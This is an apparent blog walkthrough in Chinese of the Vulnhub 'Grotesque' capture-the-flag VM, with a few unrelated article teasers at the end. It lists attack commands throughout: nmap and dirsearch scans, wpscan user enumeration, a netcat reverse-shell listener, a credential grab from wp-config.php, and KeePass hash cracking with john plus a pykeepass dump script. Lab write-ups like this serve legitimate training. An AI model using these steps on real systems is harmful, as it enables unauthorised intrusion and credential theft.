Vulnhub靶场案例渗透[12]-Grotesque: 1.0.1
文章目录
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 目录扫描
- 4. 敏感信息获取
- 5. 反弹shell
- 6. 权限提升
一、靶场搭建
1. 靶场描述
get flags
difficulty: medium
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.This works better with VirtualBox rather than VMware. ## Changelog 2021-03-10: v1.0.1 2021-03-06: v1.0
中等难度的靶场,目标是获取flag。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。

下载完成的文件如下:

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
使用VMware打开对应的
ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

如果你使用vmware启动靶机之后,发现靶机没有自动分配ip,可以参考这个文章进行解决。 解决虚拟机未被自动分配ip
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.133.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.133
结果图:

可以看到两个端口
66和80对应的服务都是http服务。分别打开两个网站查看。80端口根路径直接报404,推测存在子路径。


3. 目录扫描
使用
dirsearch工具分别扫描两个端口服务的路径。没有发现什么敏感目录,直接将目光移动到66端口的服务。
sudo dirsearch -u "http://192.168.37.133" -x 404
sudo dirsearch -u "http://192.168.37.133:66" -x 404


4. 敏感信息获取
66端口首页可以直接下载这个http服务的源码,直接下载文件,解压查看源代码是否存在敏感信息。

# 解压命令
unzip -d vvmlist/ vvmlist.zip
源代码文件内容:

先查看是否存在项目源码是否存在什么敏感信息。没有找到敏感信息之后,开始推测80存在子路径,搜索和80相关的关键词。发现其中一个文档说明80端口使用的wordpress,以及其子目录为
lyricsblog
grep -rn 80


获取到80端口wordpress的主路径之后,可以继续进行目录扫描。获取到登录页面,登录界面提示用户的密码是大写。
sudo dirsearch -u "http://192.168.37.133/lyricsblog" -x 404


5. 反弹shell
知道目标cms网站所使用的框架为wordpress之后,可以使用
wpscan扫描目标网站的用户名。wpscan是一个专门针对 WordPress 网站的漏洞扫描工具,用于发现插件、主题、用户、配置等方面的安全问题。扫描之后发现一个用户erdalkomurcu。有了账号名之后接下来就是要获取密码。
wpscan --url http://192.168.37.133/lyricsblog -e u

查看cmd网站的根路径发现一个图片链接被注释,查看图片的内容。


图片上提到了
HAKAN TASIYAN在首页上发现这是一首歌,尝试将这首歌的歌词进行md5求和,并将求和的结果转换成大写。之后尝试登录cms系统,登录成功。

# 求和
md5sum md5.txt
# 转大写
echo "" | tr 'a-z' 'A-Z'


登录后台之后,寻找后台可添加反向shell的位置,获取反弹shell,在下图处获取到注入点,并添加图中所示命令进行反向shell。刷新页面成功获取到反弹shell。

# kali执行
nc -lvp 8888

6. 权限提升
获取到反弹shell执行如下命令创建一个交互式终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
对于这种有数据库的后台项目,获取到shell权限之后,先查看配置文件是否存在账号和密码信息,多个账号设置为同一密码的情况是非常常见的。在
wp-config.php中获取到数据库的账号和密码。

查看
/home目录下发现存在和数据库账号同名的用户,尝试使用数据库的密码进行登录,成功登录.在raphael家目录下发现userflag和.chadroot.kdbx文件。

.kdbx文件是 KeePass Password Safe 使用的文件格式,专门用于存储加密的密码数据库。KeePass 是一款开源密码管理器,.kdbx文件包含用户的密码、用户名、URL 和其他敏感信息,并以强大的加密算法(如 AES-256)保护。从文件名来看这个kbdx文件存储的root的密码信息。将这个文件下载到本地,进行密码爆破。
# 靶机执行这段命令,开启一个web服务
python3 -m http.server 9090# kali进行下载
wget http://192.168.37.132/.chadroot.kdbx
使用
keepass2john命令进行密码爆破,keepass2john是一款专门用于从 KeePass 数据库文件(.kdbx格式)中提取加密的哈希值的工具。它是 John the Ripper(JtR) 破解工具套件中的一部分,主要用于将.kdbx文件转换为 John the Ripper 可以识别的哈希格式,以进行密码破解。成功获取到kdbx文件的密码。
keepass2john .chadroot.kdbx > hash
# 破解
john hash --wordlist=/usr/share/wordlists/rockyou.txt

获取到kbdx文件之后可以使用如下python代码读取文件中的内容。首先得执行这段命令安装
pip install pykeepass所需依赖。
from pykeepass import PyKeePass
import sysdef read_file(file_path, password):kp = PyKeePass(file_path, password=password)for entry in kp.entries:print(entry.title, entry.username, entry.password)if __name__ == "__main__":if len(sys.argv) != 3:print("Usage pkkeepass_tool.py filepath password")sys.exit(1)file_path = sys.argv[1]password = sys.argv[2]read_file(file_path, password)

尝试打印出的每个密码,最终
.:.subjective.:.为root用户的密码。成功获取到root的身份,以及获取到最终的flag。

相关文章:
Vulnhub靶场案例渗透[12]-Grotesque: 1.0.1
文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 目录扫描4. 敏感信息获取5. 反弹shell6. 权限提升 一、靶场搭建 1. 靶场描述 get flags difficulty: medium about vm: tested and exported from vi…...
招聘和面试
本篇内容是根据2019年4月份#82 Hiring and job interviews音频录制内容的整理与翻译 小组成员 Mat Ryer、Ashley McNamara、Johnny Boursiquot 和 Carmen Andoh 讨论了受聘、雇用和工作面试的过程。如果人是团队中最重要的部分,我们如何选择与谁一起工作࿱…...
Gin 框架入门(GO)-1
解决安装包失败问题(*) go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct 1 介绍 Gin 是一个 Go (Golang) 编写的轻量级 http web 框架,运行速度非常快,Gin 最擅长的就是 Api 接口的高并发。 2 Gin 环境搭建 1.下载并安装 gin go get -u github.…...
LeetCode:700. 二叉搜索树中的搜索
目录 题目描述: 代码: 题目描述: 给定二叉搜索树(BST)的根节点 root 和一个整数值 val。 你需要在 BST 中找到节点值等于 val 的节点。 返回以该节点为根的子树。 如果节点不存在,则返回 null 。 示例 1: 输入:root [4,2,7,1,3…...
用邻接矩阵实现图的深度优先遍历
问题描述 给定一个无向图,用邻接矩阵作为图的存储结构,输出指定顶点出发的深度优先遍历序列。在深度优先遍历的过程中,如果同时出现多个待访问的顶点,则优先选择编号最小的一个进行访问。 输入描述 第一行输入三个正整数&#…...
vue2中实现token的无感刷新
后端配置 设置Token过期时间:在后端(如服务器或网关)配置access_token和refresh_token的过期时间。通常,access_token的过期时间较短,而refresh_token的过期时间较长。提供刷新Token接口:后端需要提供一个…...
无需Photoshop即可在线裁剪和调整图像大小的工具
Bitmind是一个灵活且易于使用的批量图像本地化处理器,经过抓包看,这个工具在浏览器本地运行,不会上传图片到服务器,所以安全性完全有保证。 它可以将图像调整到任何特定尺寸,并在必要时按比例裁剪。 这是一个在线工具…...
云安全之法律和合规
0x00 前言 本文主要内容是从法律,合同,电子举证,以及合规和审计这五个部分来记录一下相关的云安全内容 0x01 法律 受法律约束的影响因素 云服务所在的地区云用户所在的区域数据主体所在的区域 GDPR:通用数据保护法案…...
倒计时功能分享
今天想要分享的是一个面试题,也是一个我们在项目中常用的功能:倒计时。 首先我们在写倒计时的时候必须要考虑到是:准确性、性能。接下来我们一步一步实现这个完美地倒计时功能。 setInterval 先来简单实现一个倒计时的函数: func…...
【论文分享】使用多源数据识别建筑功能:以中国三大城市群为例
建筑功能对城市规划至关重要,而利用多源数据进行建筑功能分类有助于支持城市规划政策。本研究通过分析建筑特征和POI密度,识别了中国三个城市群的建筑功能,并使用XGBoost模型验证了其在大规模映射中的高准确性和有效性。研究强调了建筑环境对…...
华为手机启用ADB无线调试功能
打开开发者模式,勾选USB调试,和“仅充电”模式下允许ADB调试 确认 设置添加adb路径到PATH变量 使用adb查看安卓设置 切换为无线模式: 查看手机IP...
云原生之Kubernetes集群搭建
1、Kubernetets基础概念 传统的服务器架构演进,现在基于docker容器化应用可以完成快速部署,但是对于大型的应用,有可能出现成百上千个容器化应用,一个挂了需要人工管理是相当麻烦,因此急需一个大规模容器编排系统。 Kubernetes Kubernetes 是一个可移植、可扩展的开源平…...
STM32单片机CAN总线汽车线路通断检测
目录 目录 前言 一、本设计主要实现哪些很“开门”功能? 二、电路设计原理图 1.电路图采用Altium Designer进行设计: 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着汽车电子技术的不断发展,车辆通信接口在汽车电子控…...
大连理工大学概率上机作业免费下载
大连理工大学概率论与数理统计上机资源 本资源库收录了大连理工大学概率论与数理统计课程的上机作业范例代码,旨在通过实际操作加深学生对概率统计概念的理解,帮助学生更好地理解和掌握知识点。 作业内容概览 第一题:随机变量关系探索 数…...
Tomcat 如何管理 Session
Tomcat 如何管理 Session 我们知道,Tomcat 中每一个 Context 容器对应一个 Web 应用,而 Web 应用之间的 Session 应该是独立的,因此 Session 的管理肯定是 Context 级的,也就是一个 Context 一定关联多个 Session。 Tomcat 中主…...
stm32启动过程解析startup启动文件
1.STM32的启动过程模式 1.1 根据boot引脚决定三种启动模式 复位后,在 SYSCLK 的第四个上升沿锁存 BOOT 引脚的值。BOOT0 为专用引脚,而 BOOT1 则与 GPIO 引脚共用。一旦完成对 BOOT1 的采样,相应 GPIO 引脚即进入空闲状态,可用于…...
SystemVerilog学习——构造函数new
一、概述 在 SystemVerilog 中,new 是一个构造函数,用于创建类的实例(即对象)。它在面向对象编程(OOP)中起着重要作用,负责实例化一个对象并进行初始化。与传统编程语言(如 C 或 Jav…...
力扣题目总结
1.游戏玩法分析IV AC: select IFNULL(round(count(distinct(Result.player_id)) / count(distinct(Activity.player_id)), 2), 0) as fraction from (select Activity.player_id as player_idfrom (select player_id, DATE_ADD(MIN(event_date), INTERVAL 1 DAY) as second_da…...
Java API 进阶指南:从核心API到高级应用的全面提升
文章目录 Java API 进阶学习指南1. 深入理解核心API1.1 集合框架(Collections Framework)1.2 输入输出流(I/O Streams)1.3 并发编程(Concurrency)1.4 反射(Reflection)1.5 泛型&…...
esp32c3开发板通过micropython的ubluetooth库连蓝牙设备
ESP32-C3开发板是一款高性能、低功耗的微控制器,搭载了Espressif自家的RISC-V处理器。通过MicroPython,一种面向微控制器的精简版Python编程语言,开发者可以轻松地为ESP32-C3编写代码。MicroPython的ubluetooth库使得ESP32-C3能够通过蓝牙与各…...
国防科技大学计算机基础课程笔记02信息编码
1.机内码和国标码 国标码就是我们非常熟悉的这个GB2312,但是因为都是16进制,因此这个了16进制的数据既可以翻译成为这个机器码,也可以翻译成为这个国标码,所以这个时候很容易会出现这个歧义的情况; 因此,我们的这个国…...
深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录
ASP.NET Core 是一个跨平台的开源框架,用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录,以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...
椭圆曲线密码学(ECC)
一、ECC算法概述 椭圆曲线密码学(Elliptic Curve Cryptography)是基于椭圆曲线数学理论的公钥密码系统,由Neal Koblitz和Victor Miller在1985年独立提出。相比RSA,ECC在相同安全强度下密钥更短(256位ECC ≈ 3072位RSA…...
SciencePlots——绘制论文中的图片
文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了:一行…...
Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
Android15默认授权浮窗权限
我们经常有那种需求,客户需要定制的apk集成在ROM中,并且默认授予其【显示在其他应用的上层】权限,也就是我们常说的浮窗权限,那么我们就可以通过以下方法在wms、ams等系统服务的systemReady()方法中调用即可实现预置应用默认授权浮…...
Linux --进程控制
本文从以下五个方面来初步认识进程控制: 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程,创建出来的进程就是子进程,原来的进程为父进程。…...
LeetCode - 199. 二叉树的右视图
题目 199. 二叉树的右视图 - 力扣(LeetCode) 思路 右视图是指从树的右侧看,对于每一层,只能看到该层最右边的节点。实现思路是: 使用深度优先搜索(DFS)按照"根-右-左"的顺序遍历树记录每个节点的深度对于…...
适应性Java用于现代 API:REST、GraphQL 和事件驱动
在快速发展的软件开发领域,REST、GraphQL 和事件驱动架构等新的 API 标准对于构建可扩展、高效的系统至关重要。Java 在现代 API 方面以其在企业应用中的稳定性而闻名,不断适应这些现代范式的需求。随着不断发展的生态系统,Java 在现代 API 方…...
ubuntu系统文件误删(/lib/x86_64-linux-gnu/libc.so.6)修复方案 [成功解决]
报错信息:libc.so.6: cannot open shared object file: No such file or directory: #ls, ln, sudo...命令都不能用 error while loading shared libraries: libc.so.6: cannot open shared object file: No such file or directory重启后报错信息&…...
